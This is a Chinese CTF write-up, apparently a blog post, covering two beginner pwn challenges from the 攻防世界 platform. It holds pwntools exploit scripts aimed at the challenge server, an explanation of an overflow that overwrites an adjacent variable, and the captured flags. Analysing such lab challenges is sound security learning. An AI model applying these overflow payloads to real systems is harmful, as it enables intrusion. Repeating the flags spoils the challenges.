攻防世界pwn刷题

get_shell

这题直接给shell了

exp

from pwn import*
p = remote('61.147.171.105',59682)
p.sendline('cat flag')
p.interactive()

cyberpeace{8cd678c722f48327a69b2661ae8956c8}

hello_pwn

checksec一下

ok,64位的

{
  alarm(0x3Cu);
  setbuf(stdout, 0LL);
  puts("~~ welcome to ctf ~~     ");
  puts("lets get helloworld for bof");
  read(0, &unk_601068, 0x10uLL);
  if ( dword_60106C == 1853186401 )
    sub_400686();
  return 0LL;
}
alarm(0x3Cu):
调用alarm函数设置了一个定时器,其值为0x3Cu(60秒)。如果程序在60秒内没有结束,会收到一个SIGALRM信号。这通常用于防止程序挂起。
 
setbuf(stdout, 0LL):
关闭stdout的缓冲,使得所有输出都立即写入。这通常用于调试,以便实时查看程序输出。
 
puts()函数:
使用puts函数输出两条欢迎信息。
 
read(0, &unk_601068, 0x10uLL):
这是漏洞的关键点。read函数从文件描述符0(通常是标准输入stdin)读取0x10uLL(16字节)的数据到unk_601068这个地址。这里有几个问题:
 
unk_601068可能是一个未初始化的或未分配足够空间的缓冲区,导致缓冲区溢出。
读取的字节数0x10uLL是硬编码的,没有考虑实际缓冲区的大小。
如果用户输入超过16字节的数据,会覆盖缓冲区后面的内存区域,可能包括其他变量的值或者函数的返回地址。
if ( dword_60106C == 'nuaa' ) sub_400686():
这里检查dword_60106C(unk_601068后面的一个双字)是否等于'nuaa'。这个检查看起来是为了确保某种条件满足时才调用sub_400686()。然而,由于缓冲区溢出漏洞,攻击者可以故意构造输入来覆盖dword_60106C的值,从而控制程序的执行流程。
 
sub_400686()函数:该函数返回一个 64 位整数(__int64)。函数的主体做了两件事情:
 
system("cat flag.txt");:这行代码调用了 system 函数,该函数执行传递给它的字符串参数作为 shell 命令。在这里,它尝试运行 cat flag.txt 命令,这个命令在 Unix-like 系统(比如 Linux)上用于显示 flag.txt 文件的内容。如果该文件存在且可读,它的内容将被输出到标准输出(通常是终端或控制台)。
 
return 0LL;:这行代码表示函数执行成功,并返回整数值 0。LL 后缀用于明确表示这个整数值是一个 64 位整数。
 

read(0, &unk_601068, 0x10uLL); 读取数据
if ( dword_60106C == 1853186401 ) 判断值是否相等

来看一下这两行代码

if 这个->dword_60106C = 1853186401

当上述的条件判断 if 语句中的条件满足,也就是 dword_60106C 的值确实等于 1853186401 时,会执行 sub_400686() 这个函数调用。

双击点开看看

会执行cat flag命令

可以分析得到:当unk_601068 = dword_60106C时,得到flag

双击dword_60106C,定位到这里

dword_60106C与unk_601068相差4个字节

编写exp

from pwn import*
p = remote('61.147.171.105',57285)
p.sendline(b'a'*4+p64(1853186401))
p.interactive()

payload=b'a'*4+p64(1853186401)

解读

b:字节类型 #python3脚本中的,python2的可以去掉

4 #四个字节,dword_60106C与dword_60106C相差4个字节

p64 #64位的

1853186401 #dword_60106C == 1853186401,这个值要等于unk_601068的值

cyberpeace{0d34d62bdc19f237ee4906a664260c63

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小丑001.

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值